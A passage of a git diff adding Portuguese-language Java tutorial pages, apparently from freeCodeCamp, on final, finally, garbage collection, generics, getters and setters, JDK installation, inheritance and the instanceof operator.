+ class Honda extends Bike{ 
+   void run(){System.out.println("running safely with 100kmph");} 
+ 
+   public static void main(String args[]){ 
+   Honda honda= new Honda(); 
+   honda.run(); 
+   } 
+ } 
+```
+
+Saída será - Saída: Erro de tempo de compilação
+
+* * *
+
+Se você fizer uma aula como final, não poderá estendê-la.
+
+```java
+final class Bike{} 
+ 
+ class Honda1 extends Bike{ 
+  void run(){System.out.println("running safely with 100kmph");} 
+ 
+  public static void main(String args[]){ 
+  Honda1 honda= new Honda(); 
+  honda.run(); 
+  } 
+ } 
+```
+
+Saída será Saída: Erro de tempo de compilação
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/finally-keyword/index.md b/client/src/guide/portuguese/java/finally-keyword/index.md
new file mode 100644
index 0000000000..402d5e660f
--- /dev/null
+++ b/client/src/guide/portuguese/java/finally-keyword/index.md
@@ -0,0 +1,22 @@
+---
+title: Finally
+localeTitle: Finalmente
+---
+## finalmente
+
+O bloco finally sempre é executado quando o bloco try é encerrado. Isso garante que o bloco finally seja executado, mesmo que ocorra uma exceção inesperada. Mas, finalmente, é útil para mais do que apenas o tratamento de exceções - ele permite que o programador evite que o código de limpeza seja ignorado acidentalmente por um retorno, continuar ou interromper. Colocar o código de limpeza em um bloco finally é sempre uma boa prática, mesmo quando nenhuma exceção é esperada.
+
+**_Exemplo:_**
+
+```java
+try { 
+   // Normal execution path 
+   throw new EmptyStackException(); 
+ } catch (ExampleException ee) { 
+   //  deal with the ExampleException 
+ } finally { 
+   // This optional section is executed upon termination of any of the try or catch blocks above, 
+   //  except when System.exit() is called in "try" or "catch" blocks; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/garbage-collection/index.md b/client/src/guide/portuguese/java/garbage-collection/index.md
new file mode 100644
index 0000000000..aedf7a8116
--- /dev/null
+++ b/client/src/guide/portuguese/java/garbage-collection/index.md
@@ -0,0 +1,108 @@
+---
+title: Garbage Collection
+localeTitle: Coleta de lixo
+---
+# Coleta de lixo em Java
+
+Em linguagens como C / C ++, é dever do programador criar e destruir objetos. Mas se o programador não executa seu dever, memória suficiente pode não estar disponível para a criação de um novo objeto e o programa pode terminar causando **OutOfMemoryErrors** .
+
+Java alivia o programador da tarefa de gerenciamento de memória e recupera a memória ocupada pelos objetos que não estão mais em uso. Coleta de lixo em java é realizada por um thread daemon chamado **Garbage Collector** . **JVM (Java Virtual Machine)** invoca quando há falta de memória (heap) para novos objetos.
+
+## Quando um objeto se torna elegível para o Garbage Collection?
+
+*   Um objeto se torna elegível para a Coleta de lixo se não puder ser acessado de nenhum encadeamento ao vivo ou de qualquer referência estática.
+*   Um objeto se torna elegível para o Garbage Collection se todas as referências forem nulas.
+
+```java
+         Integer n = new Integer(); 
+         n = null;                                //the Integer object is no longer accessible 
+```
+
+*   As dependências cíclicas não são contadas como referência, portanto, se o Objeto X tiver referência ao Objeto Y e o Objeto Y tiver referência ao Objeto X e não tiverem outra referência ao vivo, os Objetos X e Y serão elegíveis para a Coleta de Lixo.
+
+## Como tornar manualmente um objeto elegível para coleta de lixo?
+
+*   Mesmo que não seja tarefa do programador destruir os objetos, é uma boa prática de programação tornar um objeto inacessível (portanto, elegível para GC) depois de ser usado.
+*   Geralmente, existem quatro maneiras diferentes de tornar um objeto elegível para coleta de lixo.
+
+1.  Anulando a variável de referência
+2.  Reatribuindo a variável de referência
+3.  O objeto é criado dentro de um bloco e a referência sai do escopo depois que o controle sai desse bloco.
+4.  [Ilha do isolamento](http://www.geeksforgeeks.org/island-of-isolation-in-java/)
+
+## Maneiras de solicitar a JVM para executar o Garbage Collector 1
+
+*   Apesar de tornar um objeto elegível para o Garbage Collection, depende da discrição exclusiva do JVM executar o Garbage Collector para destruí-lo.
+*   Também podemos solicitar que a JVM execute o Garbage Collector. Existem duas maneiras de fazer isso:
+
+1.  Usando o método _**System.gc ()**_ : A classe System contém o método estático gc () para solicitar que a JVM execute o Garbage Collector.
+2.  Usando o método _**Runtime.getRuntime (). Gc ()**_ : A classe de tempo de execução permite que o aplicativo faça interface com a JVM na qual o aplicativo está em execução. Portanto, usando seu método gc (), podemos solicitar que a JVM execute o Garbage Collector.
+
+```java
+         // Java program to request 
+    // JVM to run Garbage Collector 
+ public class Test 
+ { 
+    public static void main(String[] args) throws InterruptedException 
+    { 
+        Test test1 = new Test(); 
+        Test test2 = new Test(); 
+ 
+        // Nullifying the reference variable 
+        test1 = null; 
+ 
+        // requesting JVM for running Garbage Collector 
+        System.gc(); 
+ 
+        // Nullifying the reference variable 
+        test2 = null; 
+ 
+        // requesting JVM for running Garbage Collector 
+        Runtime.getRuntime().gc(); 
+ 
+    } 
+ 
+    @Override 
+    // finalize method is a method which is called on object once 
+    // before garbage collector is destroying it and reclaiming its memory 
+    protected void finalize() throws Throwable 
+    { 
+        System.out.println("Garbage collector is called"); 
+        System.out.println("Object garbage collected : " + this); 
+    } 
+ } 
+```
+
+```java
+  OUTPUT - 
+    Garbage collector called 
+    Object garbage collected : Test@46d08f12 
+    Garbage collector called 
+    Object garbage collected : Test@481779b8 
+```
+
+Nota :
+
+1.  Não há garantia de que qualquer um dos dois métodos acima irá executar o Garbage Collector.
+2.  A chamada System.gc () é efetivamente equivalente à chamada: Runtime.getRuntime (). Gc ()
+
+## Finalização de Objetos
+
+*   Objetos possuem recursos associados a eles. É sua responsabilidade liberar os recursos.
+*   O finalize (), é declarado na classe Object e é chamado pelo garbage collector uma vez, antes de destruir o objeto. Um objeto pode executar qualquer última ação usando este método jst antes que sua área seja recuperada pelo coletor de lixo.
+*   O método finalize () está presente na classe Object com o seguinte protótipo.
+
+```java
+    protected void finalize() throws Throwable 
+```
+
+## NOTA 1 :
+
+1.  O método finalize () chamado pelo Garbage Collector não é a JVM. Embora Garbage Collector seja um dos módulos da JVM.
+2.  O método finalize () da classe Object tem uma implementação vazia, portanto, é recomendado substituir o método finalize () para descartar recursos do sistema ou executar outra limpeza.
+3.  O método finalize () nunca é invocado mais de uma vez para qualquer objeto dado.
+4.  Se uma exceção não identificada for lançada pelo método finalize (), a exceção será ignorada e a finalização desse objeto será finalizada.
+
+### FONTES
+
+1.  [geeksforgeeks.](http://www.geeksforgeeks.org/garbage-collection-java/) Acesso em: 24 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/generics/index.md b/client/src/guide/portuguese/java/generics/index.md
new file mode 100644
index 0000000000..9917cc1987
--- /dev/null
+++ b/client/src/guide/portuguese/java/generics/index.md
@@ -0,0 +1,79 @@
+---
+title: Generics
+localeTitle: Genéricos
+---
+# Genéricos
+
+Java Generics é uma forma de usar conviently coleções e classes para tipos de dados específicos sem ter que lançar dados de volta para o tipo de dados original. Isso evita muita dor de cabeça na forma de erros de tempo de compilação e tempo de execução.
+
+Simplificando, o Generics permite dizer explicitamente que, por exemplo, um objeto ArrayList contém Integers, de modo que quando você chama o método get, não é necessário converter entre Object e Integer. Abaixo está um exemplo de como você teria usado um ArrayList antes de Generics.
+
+```java
+import java.util.ArrayList; 
+ 
+ public class Example { 
+  private ArrayList classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList(); 
+  } 
+ 
+  public void addName(String name) { 
+    classNames.add(name); 
+  } 
+ 
+  public String getNameAtIndex(int index) { 
+    return (String) classNames.get(index); 
+  } 
+ } 
+```
+
+O principal problema com o acima é se de alguma forma um objeto não do tipo String foi adicionado ao ArrayList, em seguida, o `getNameAtIndex(int index)` resultaria em um erro de tempo de execução. Para resolver isso, usamos Generics.
+
+A sintaxe para genéricos é muito simples. Abaixo está um exemplo de instanciar uma ArrayList.
+
+```java
+import java.util.ArrayList; 
+ 
+ public class Example { 
+  private ArrayList<String> classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList<String>(); 
+  } 
+ 
+  public void addName(String name) { 
+    classNames.add(name); 
+  } 
+ 
+  public String getNameAtIndex(int index) { 
+    return classNames.get(index); 
+  } 
+ } 
+```
+
+A sintaxe para criar sua própria classe genérica seria a seguinte.
+
+```java
+import java.util.ArrayList; 
+ 
+ public class Example <T> { 
+  private ArrayList<T> classNames; 
+ 
+  public Example() { 
+    classNames = new ArrayList<T>(); 
+  } 
+ 
+  public void addName(T name) { 
+    classNames.add(name); 
+  } 
+ 
+  public T getNameAtIndex(int index) { 
+    return classNames.get(index); 
+  } 
+ } 
+```
+
+Observe que dentro dos colchetes angulares ao nomear a classe, você pode garantir que o tipo genérico é algo que você quer. Por exemplo, se você quisesse ter certeza de que o tipo pudesse ser lido como uma forma de String, você iria `<T extends String>` .
+
+Note que a letra `T` é um espaço reservado, você pode fazer o que quiser, contanto que use o mesmo em toda a aula.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/getters-and-setters/index.md b/client/src/guide/portuguese/java/getters-and-setters/index.md
new file mode 100644
index 0000000000..71427282cc
--- /dev/null
+++ b/client/src/guide/portuguese/java/getters-and-setters/index.md
@@ -0,0 +1,73 @@
+---
+title: Getters & Setters
+localeTitle: Getters & Setters
+---
+# Getters & Setters
+
+Getters e Setters são usados ​​para proteger efetivamente seus dados, especialmente ao criar classes. Para cada variável de instância, um método getter retorna seu valor enquanto um método setter define ou atualiza seu valor. Getters e setters são também conhecidos como acessadores e mutadores, respectivamente.
+
+Por convenção, getters começam com get, seguido pelo nome da variável, com a primeira letra do nome da variável em maiúscula. Os setters começam com set, seguido pelo nome da variável, com a primeira letra do nome da variável em maiúscula.
+
+**_Exemplo:_**
+
+```java
+public class Vehicle { 
+  private String color; 
+ 
+  // Getter 
+  public String getColor() { 
+  return color; 
+  } 
+ 
+  // Setter 
+  public void setColor(String c) { 
+  this.color = c; 
+  } 
+ } 
+```
+
+O método getter retorna o valor do atributo. O método setter usa um parâmetro e o atribui ao atributo.
+
+Uma vez que o getter e setter foram definidos, usamos em nosso main:
+
+```java
+public stativ void main(String[] args) { 
+  Vehicle v1 = new Vehicle(); 
+  v1.setColor("Red"); 
+  System.out.println(v1.getColor()); 
+ } 
+ 
+ // Outputs "Red" 
+```
+
+* * *
+
+Getters e setters permitem o controle sobre os valores. Você pode validar o valor dado no setter antes de realmente definir o valor.
+
+## Por que getter e setter?
+
+Usando getter e setter, o programador pode controlar como suas variáveis ​​importantes são acessadas e atualizadas, como a alteração do valor de uma variável dentro de um intervalo especificado. Considere o seguinte código de um método setter:
+
+```java
+public void setNumber(int num) { 
+    if (num < 10 || num > 100) { 
+        throw new IllegalArgumentException(); 
+    } 
+    this.number = num; 
+ } 
+```
+
+Isso garante que o valor do número seja sempre definido entre 10 e 100. Se o programador permitir que o número da variável seja atualizado diretamente, o chamador poderá definir qualquer valor arbitrário para ele:
+
+```java
+obj.number = 3; 
+```
+
+Isso viola a restrição de valores que variam de 10 a 100 para essa variável. Como não esperamos que isso aconteça, ocultar o número da variável como particular e usar um setter o impede. Por outro lado, um método getter é o único caminho para o mundo exterior ler o valor da variável:
+
+```java
+public int getNumber() { 
+    return this.number; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/index.md b/client/src/guide/portuguese/java/index.md
new file mode 100644
index 0000000000..aed7554bd8
--- /dev/null
+++ b/client/src/guide/portuguese/java/index.md
@@ -0,0 +1,119 @@
+---
+title: Java
+localeTitle: Java
+---
+**O que é Java?**
+
+[Java](https://www.oracle.com/java/index.html) é uma linguagem de programação desenvolvida pela [Sun Microsystems](https://en.wikipedia.org/wiki/Sun_Microsystems) em 1995, que foi posteriormente adquirida pela [Oracle](http://www.oracle.com/index.html) . Agora é uma plataforma completa com muitas APIs padrão, APIs de código-fonte aberto, ferramentas, grande comunidade de desenvolvedores e é usada para criar as soluções corporativas mais confiáveis ​​por grandes e pequenas empresas. [O](https://www.android.com/) desenvolvimento de aplicativos [Android](https://www.android.com/) é feito totalmente com o Java e seu ecossistema. Para saber mais sobre Java, leia [isto](https://java.com/en/download/faq/whatis_java.xml) e [isto](http://tutorials.jenkov.com/java/what-is-java.html) .
+
+## Versão
+
+A versão mais recente é o [Java 11](http://www.oracle.com/technetwork/java/javase/overview) , que foi lançado em 2018 com [várias melhorias em](https://www.oracle.com/technetwork/java/javase/11-relnote-issues-5012449.html) relação à versão anterior, o Java 10. Mas, para todos os efeitos, usaremos o Java 8 neste wiki para todos os tutoriais.
+
+Java também é dividido em várias "Edições":
+
+*   [SE](http://www.oracle.com/technetwork/java/javase/overview/index.html) - Standard Edition - para aplicativos de servidor desktop e standalone
+*   [EE](http://www.oracle.com/technetwork/java/javaee/overview/index.html) - Enterprise Edition - para desenvolver e executar componentes Java que são executados incorporados em um servidor Java
+*   [ME](http://www.oracle.com/technetwork/java/embedded/javame/overview/index.html) - Micro Edition - para desenvolver e executar aplicativos Java em telefones celulares e dispositivos embarcados
+
+## Instalação: JDK ou JRE?
+
+Faça o download dos últimos binários do Java no [site oficial](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html) . Aqui você pode enfrentar uma pergunta, qual baixar, JDK ou JRE? JRE significa Java Runtime Environment, que é a Java Virtual Machine dependente de plataforma para executar códigos Java, e JDK significa Java Development Kit, que consiste na maioria das ferramentas de desenvolvimento, o mais importante é o compilador `javac` e também o JRE. Portanto, para um usuário médio, o JRE seria suficiente, mas como estaríamos desenvolvendo com Java, faríamos o download do JDK.
+
+## Instruções de instalação específicas da plataforma
+
+### janelas
+
+*   Baixe o arquivo [.msi](https://en.wikipedia.org/wiki/Windows_Installer) relevante (x86 / i586 para 32bits, x64 para 64bits)
+*   Execute o arquivo .msi. É um arquivo executável auto-extraível que irá instalar o Java em seu sistema!
+
+### Linux
+
+*   Faça o download do arquivo [tar.gz](http://www.cyberciti.biz/faq/linux-unix-bsd-extract-targz-file/) relevante para o seu sistema e instale:
+
+`bash $ tar zxvf jdk-8uversion-linux-x64.tar.gz`
+
+*   [Plataformas Linux baseadas em RPM](https://en.wikipedia.org/wiki/List_of_Linux_distributions#RPM-based) baixam o arquivo [.rpm](https://en.wikipedia.org/wiki/RPM_Package_Manager) relevante e instalam:
+
+`bash $ rpm -ivh jdk-8uversion-linux-x64.rpm`
+
+*   Os usuários têm a opção de instalar uma versão de código aberto do Java, OpenJDK ou Oracle JDK. Enquanto o OpenJDK está em desenvolvimento ativo e em sincronia com o Oracle JDK, eles diferem apenas em termos de [licenciamento](http://openjdk.java.net/faq/) . No entanto, poucos desenvolvedores reclamam da estabilidade do Open JDK. Instruções para o **Ubuntu** :
+
+Abra a instalação do JDK:  
+`bash sudo apt-get install openjdk-8-jdk`
+
+Instalação do Oracle JDK:  
+`bash sudo add-apt-repository ppa:webupd8team/java sudo apt-get update sudo apt-get install oracle-java8-installer`
+
+### Mac
+
+*   Faça o download do Mac OSX .dmg executável no Oracle Downloads
+*   Ou use o [Homebrew](http://brew.sh/) para [instalar](http://stackoverflow.com/a/28635465/2861269) :
+
+`bash brew tap caskroom/cask brew install brew-cask brew cask install java`
+
+### Verificar a instalação
+
+Verifique se o Java foi instalado corretamente em seu sistema abrindo o Prompt de Comando (Windows) / Windows Powershell / Terminal (Mac OS e \* Unix) e verificando as versões do Java Runtime e do Compilador:
+```
+$ java -version 
+ java version "1.8.0_66" 
+ Java(TM) SE Runtime Environment (build 1.8.0_66-b17) 
+ Java HotSpot(TM) 64-Bit Server VM (build 25.66-b17, mixed mode) 
+ 
+ $ javac -version 
+ javac 1.8.0_66 
+```
+
+**Dica** : Se você receber um erro como "Comando não encontrado" em `java` ou `javac` ou em ambos, não entre em pânico, apenas o PATH do seu sistema não está definido corretamente. Para Windows, veja [esta resposta do StackOverflow](http://stackoverflow.com/questions/15796855/java-is-not-recognized-as-an-internal-or-external-command) ou [este artigo](http://javaandme.com/) sobre como fazer isso. Também existem guias para o [Ubuntu](http://stackoverflow.com/questions/9612941/how-to-set-java-environment-path-in-ubuntu) e [Mac](http://www.mkyong.com/java/how-to-set-java_home-environment-variable-on-mac-os-x/) também. Se você ainda não consegue descobrir, não se preocupe, basta perguntar-nos na nossa [sala Gitter](https://gitter.im/FreeCodeCamp/java) !
+
+## JVM
+
+Ok, agora que terminamos as instalações, vamos começar a entender primeiro o âmago da questão do ecossistema Java. Java é uma linguagem [interpretada e compilada](http://stackoverflow.com/questions/1326071/is-java-a-compiled-or-an-interpreted-programming-language) , ou seja, o código que escrevemos é compilado para bytecode e interpretado para ser executado. Nós escrever o código em arquivos .java, Java compila-los em [bytecodes](https://en.wikipedia.org/wiki/Java_bytecode) que são executados em uma máquina virtual Java ou JVM para execução. Esses bytecodes geralmente possuem uma extensão .class.
+
+Java é uma linguagem bastante segura, pois não permite que seu programa seja executado diretamente na máquina. Em vez disso, seu programa é executado em uma máquina virtual chamada JVM. Esta Máquina Virtual expõe várias APIs para interações de máquina de baixo nível que você pode fazer, mas além disso, você não pode jogar com instruções de máquina explicitamente. Isso adiciona um bônus enorme de segurança.
+
+Além disso, uma vez que seu bytecode é compilado, ele pode ser executado em qualquer Java VM. Esta máquina virtual é dependente da máquina, ou seja, possui diferentes implementações para Windows, Linux e Mac. Mas seu programa é garantido para rodar em qualquer sistema graças a essa VM. Essa filosofia é chamada ["Write Once, Run Anywhere"](https://en.wikipedia.org/wiki/Write_once,_run_anywhere) .
+
+## Olá Mundo!
+
+Vamos escrever um exemplo de aplicativo Hello World. Abra qualquer editor / IDE de escolha e crie um arquivo `HelloWorld.java` .
+```
+public class HelloWorld { 
+ 
+    public static void main(String[] args) { 
+        // Prints "Hello, World" to the terminal window. 
+        System.out.println("Hello, World"); 
+    } 
+ 
+ } 
+```
+
+**NB** Lembre-se de que o nome do arquivo Java deve ser **exatamente o mesmo nome da classe pública** para poder compilar!
+
+Agora abra o terminal / prompt de comando. Altere seu diretório atual no terminal / Prompt de Comando para o diretório em que seu arquivo está localizado. E compile o arquivo:
+```
+$ javac HelloWorld.java 
+```
+
+Agora execute o arquivo usando o comando `java` !
+```
+$ java HelloWorld 
+ Hello, World 
+```
+
+Parabéns! Seu primeiro programa Java foi executado com sucesso. Aqui estamos apenas imprimindo uma string passando-a para a API `System.out.println` . Vamos cobrir todos os conceitos do código, mas você é bem-vindo para dar uma [olhada mais de perto](https://docs.oracle.com/javase/tutorial/getStarted/application/) ! Se você tiver alguma dúvida ou precisar de ajuda adicional, sinta-se à vontade para nos contatar a qualquer momento em nossa [Gitter Chatroom](https://gitter.im/FreeCodeCamp/java) !
+
+## Documentação
+
+Java é fortemente [documentado](https://docs.oracle.com/javase/8/docs/) , pois suporta grandes quantidades de APIs. Se você estiver usando qualquer IDE principal, como Eclipse ou IntelliJ IDEA, encontrará a Documentação Java incluída.
+
+Além disso, aqui está uma lista de IDEs livres para codificação Java:
+
+*   [NetBeans](https://netbeans.org/)
+*   [Eclipse](https://eclipse.org/)
+*   [IntelliJ IDEA](https://www.jetbrains.com/idea/features/)
+*   [Estúdio Android](https://developer.android.com/studio/index.html)
+*   [BlueJ](https://www.bluej.org/)
+*   [jEdit](http://www.jedit.org/)
+*   [Oracle JDeveloper](http://www.oracle.com/technetwork/developer-tools/jdev/overview/index-094652.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/inheritance-basics/index.md b/client/src/guide/portuguese/java/inheritance-basics/index.md
new file mode 100644
index 0000000000..c5f4d03af9
--- /dev/null
+++ b/client/src/guide/portuguese/java/inheritance-basics/index.md
@@ -0,0 +1,53 @@
+---
+title: Inheritance Basics
+localeTitle: Noções básicas sobre herança
+---
+# Noções básicas sobre herança
+
+Tão grande que você criou com sucesso uma classe Car. Mas, espere, os carros da Tesla não são supostamente variantes elétricos? Eu quero uma classe de carro elétrico, mas também deveria ter as propriedades da classe de `Car` original.
+
+Solução: **herança** . Java fornece uma maneira simples de "herdar" propriedades pai:
+
+```java
+public class Car { 
+ 
+    private String name; 
+    private String manufacturerName; 
+ 
+    public Car(String name, String man) { 
+        this.name = name; 
+        this.manufacturerName = man; 
+    } 
+    // Getter method 
+    public String getName() { 
+        return name; 
+    } 
+    // Getter method 
+    public String getManufacturerName() { 
+        return manufacturerName; 
+    } 
+ } 
+ 
+ public class ElectricCar extends Car { 
+ 
+    public ElectricCar(String name, String man) { 
+        super(name, man); 
+    } 
+ 
+    public void charge() { 
+     System.out.println("Charging ..."); 
+    } 
+ } 
+ 
+ ElectricCar modelS = new ElectricCar("Model S","Tesla"); 
+ // prints Tesla 
+ System.out.println(modelS.getManufacturerName()); 
+ // prints Charging ... 
+ modelS.charge(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJZY/0)
+
+Veja aqui que a classe `ElectricCar` herda ou `extends` os métodos públicos da classe `Car` , assim como possui seus próprios métodos e propriedades. Legal maneira de passar informações!
+
+Observe também o uso da palavra [\-](https://docs.oracle.com/javase/tutorial/java/IandI/super.html) chave [super](https://docs.oracle.com/javase/tutorial/java/IandI/super.html) aqui. Como nossa classe `Car` tinha um construtor, também temos que inicializar esse construtor a partir da classe filha. Fazemos isso usando a palavra `super` chave `super` . Leia mais sobre Herança aqui .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/inheritance/index.md b/client/src/guide/portuguese/java/inheritance/index.md
new file mode 100644
index 0000000000..66361208a5
--- /dev/null
+++ b/client/src/guide/portuguese/java/inheritance/index.md
@@ -0,0 +1,192 @@
+---
+title: Inheritance
+localeTitle: Herança
+---
+# Herança
+
+Herança Java refere-se à capacidade de uma classe Java de `inherit` as propriedades de alguma outra classe. Pense nisso como uma criança herdando propriedades de seus pais, o conceito é muito semelhante a isso. Na linguagem Java, também é chamado de _extender_ uma classe. Algumas coisas simples para lembrar:
+
+*   A classe que estende ou herda é chamada de **subclasse**
+*   A classe que está sendo estendida ou herdada é chamada de **superclasse**
+
+Assim, a herança dá ao Java a capacidade legal de _reutilizar_ código ou compartilhar código entre classes!
+
+Vamos descrevê-lo com o exemplo clássico de uma classe `Vehicle` e uma classe `Car` :
+
+```java
+public class Vehicle { 
+    public void start() { 
+        // starting the engine 
+    } 
+ 
+    public void stop() { 
+        // stopping the engine 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    int numberOfSeats = 4; 
+ 
+    public int getNumberOfSeats() { 
+        return numberOfSeats; 
+    } 
+ } 
+```
+
+Aqui, podemos ver a classe `Car` herdando as propriedades da classe `Vehicle` . Portanto, não precisamos escrever o mesmo código para os métodos `start()` e `stop()` para `Car` , pois essas propriedades estão disponíveis em sua controladora ou superclasse. Portanto, objetos criados a partir da classe `Car` _também_ terão essas propriedades!
+
+```java
+Car tesla = new Car(); 
+ 
+ tesla.start(); 
+ 
+ tesla.stop(); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJXz/0)
+
+Mas, a classe pai tem os métodos da criança? Não, não.
+
+Portanto, sempre que você precisar compartilhar uma parte comum do código entre várias classes, é sempre bom ter uma classe pai e estender essa classe sempre que necessário! Reduz o número de linhas de código, torna o código modular e simplifica o teste.
+
+## O que pode ser herdado?
+
+*   Todos `public` campos e métodos `protected` e `public` do pai
+
+## O que não pode ser herdado?
+
+*   campos e métodos `private`
+*   Construtores Embora, o construtor da subclasse _tenha_ que chamar o construtor da superclasse se ele estiver definido (mais sobre isso depois!)
+*   Múltiplas aulas Java suporta apenas **herança única** , ou seja, você pode herdar apenas uma classe por vez.
+*   Campos. Campos individuais de uma classe não podem ser substituídos pela subclasse.
+
+## Tipo de fundição e referência
+
+Em Java, é possível referenciar uma subclasse como uma _instância_ de sua superclasse. É chamado _Polimorfismo_ na Programação Orientada a Objetos (OOP), a capacidade de um objeto assumir muitas formas. Por exemplo, o objeto de classe `Car` pode ser referenciado como uma ocorrência de classe de `Vehicle` como esta:
+
+```java
+Vehicle car = new Car(); 
+```
+
+Embora o contrário não seja possível:
+
+```java
+Car car = new Vehicle(); // ERROR 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJYB/0)
+
+Como você pode fazer referência a uma subclasse Java como uma instância de superclasse, é possível converter facilmente uma instância de um objeto de subclasse em uma instância de superclasse. É possível converter um objeto de superclasse em um tipo de subclasse, mas _apenas se o objeto for realmente uma instância da subclasse_ . Então tenha isso em mente:
+
+```java
+Car car = new Car(); 
+ Vehicle vehicle = car; // upcasting 
+ Car car2 = (Car)vechile; //downcasting 
+ 
+ Bike bike = new Bike(); // say Bike is also a subclass of Vehicle 
+ Vehicle v = bike; // upcasting, no problem here. 
+ Car car3 = (Car)bike; // Compilation Error : as bike is NOT a instance of Car 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJYM/0)
+
+Agora você sabe como compartilhar código por meio de um relacionamento pai-filho. Mas, e se você não gostar da implementação de um método específico na classe filha e quiser escrever um novo para ele? O que fazes, então?
+
+## Anule isso!
+
+Java permite _substituir_ ou redefinir os métodos definidos na superclasse. Por exemplo, sua classe `Car` tem uma implementação diferente de `start()` que o `Vehicle` pai, portanto, faça isso:
+
+```java
+public class Vehicle { 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public void start() { 
+      System.out.println("Car start code"); 
+  } 
+ } 
+ 
+ Car car = new Car(); 
+ car.start(); // "Car start code" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJYZ/1)
+
+Portanto, é muito simples substituir métodos na subclasse. Embora, existe uma _captura._ Apenas o método da superclasse com a _mesma assinatura de método do método_ da subclasse será substituído. Isso significa que a definição do método da subclasse deve ter exatamente o mesmo nome, o mesmo número e tipo de parâmetros e exatamente a mesma sequência. Assim, o `public void start(String key)` não substitui o `public void start()` .
+
+**Notas** :
+
+*   Você não pode sobrescrever métodos privados da superclasse. (Muito óbvio, não é?)
+*   E se o método da superclasse que você está ignorando na subclasse for subitamente obliterado ou os métodos alterados? Ele falharia em tempo de execução! Então, Java fornece uma anotação bacana `@Override` que você pode colocar sobre o método da subclasse, que irá avisar o compilador desses incidentes!
+
+Anotações em Java é uma boa prática de codificação, mas elas não são uma necessidade. O compilador é inteligente o suficiente para descobrir sozinho. Ao contrário de outras linguagens OOP, o Annotations in Java não modifica necessariamente o método nem adiciona funcionalidades extras.
+
+## Como chamar métodos de superclasse?
+
+Engraçado você pergunta sobre isso! Basta usar a palavra `super` chave `super` :
+
+```java
+public class Vehicle() { 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public void run() { 
+      super.start(); 
+  } 
+ } 
+ 
+ Car car = new Car(); 
+ car.run(); // "Vehicle start code" 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJY4/0)
+
+**NB** : Embora você possa chamar o método pai usando uma `super` chamada, não é possível subir a hierarquia de herança com `super` chamadas encadeadas.
+
+## Como saber o tipo de uma aula?
+
+Usando o `instanceof` palavra-chave. Tendo muitas classes e subclasses, seria um pouco confuso saber qual classe é uma subclasse de qual em tempo de execução. Assim, podemos usar `instanceof` para determinar se um objeto é uma instância de uma classe, uma instância de uma subclasse ou uma instância de uma interface.
+
+```java
+Car car = new Car(); 
+ 
+ boolean flag = car instanceof Vehicle; // true in this case! 
+```
+
+## Construtores e Herança
+
+Como mencionado anteriormente, os construtores não podem ser diretamente herdados por uma subclasse. Embora, uma subclasse seja _necessária_ para chamar o construtor de seu pai como a [primeira operação](http://stackoverflow.com/questions/1168345/why-does-this-and-super-have-to-be-the-first-statement-in-a-constructor) em seu próprio construtor. Como? Você adivinhou, usando `super` :
+
+```java
+public class Vehicle { 
+    public Vehicle() { 
+        // constructor 
+    } 
+    public void start() { 
+      System.out.println("Vehicle start code"); 
+    } 
+ } 
+ 
+ public class Car extends Vehicle { 
+    public Car() { 
+      super(); 
+    } 
+    public void run() { 
+      super.start(); 
+  } 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":foguete:") [Executar código](https://repl.it/CJY8/0)
+
+Lembre-se, se a superclasse não tiver nenhum construtor definido, você não precisará chamá-lo explicitamente na subclasse. Java manipula isso internamente para você! A invocação para o `super` construtor é feita no caso em que a superclasse deve ser chamada com qualquer outro construtor que não seja o _construtor padrão_ .
+
+Se nenhum outro construtor for definido, Java chamará o construtor de super classe padrão ( _mesmo que não definido explicitamente_ ).
+
+Parabéns, agora você sabe tudo sobre herança! Leia mais sobre formas avançadas de herdar coisas em Classes Abstratas e [Interfaces](//forum.freecodecamp.com/t/java-docs-interfaces) !
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/instanceof-operator/index.md b/client/src/guide/portuguese/java/instanceof-operator/index.md
new file mode 100644
index 0000000000..ad76e79a70
--- /dev/null
+++ b/client/src/guide/portuguese/java/instanceof-operator/index.md
@@ -0,0 +1,16 @@
+---
+title: instanceof Operator
+localeTitle: instanceof Operator
+---
+# operador `instanceof`
+
+O operador `instanceof` permite verificar a validade de um relacionamento `IS A` Se, a qualquer momento, não tivermos certeza sobre isso e quisermos validar isso em tempo de execução, podemos fazer o seguinte:
+
+```java
+//assuming vehicle is an instance of Class `Car` the expression inside the 'if' will  return true 
+ if(vehicle instanceof Car){ 
+    //do something if vehicle is a Car 
+ } 
+```
+
+**Nota** : Se você aplicar o operador instanceof com qualquer variável que tenha valor nulo, ele retornará false.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/interfaces/index.md b/client/src/guide/portuguese/java/interfaces/index.md
new file mode 100644
index 0000000000..11d6443a0c
--- /dev/null
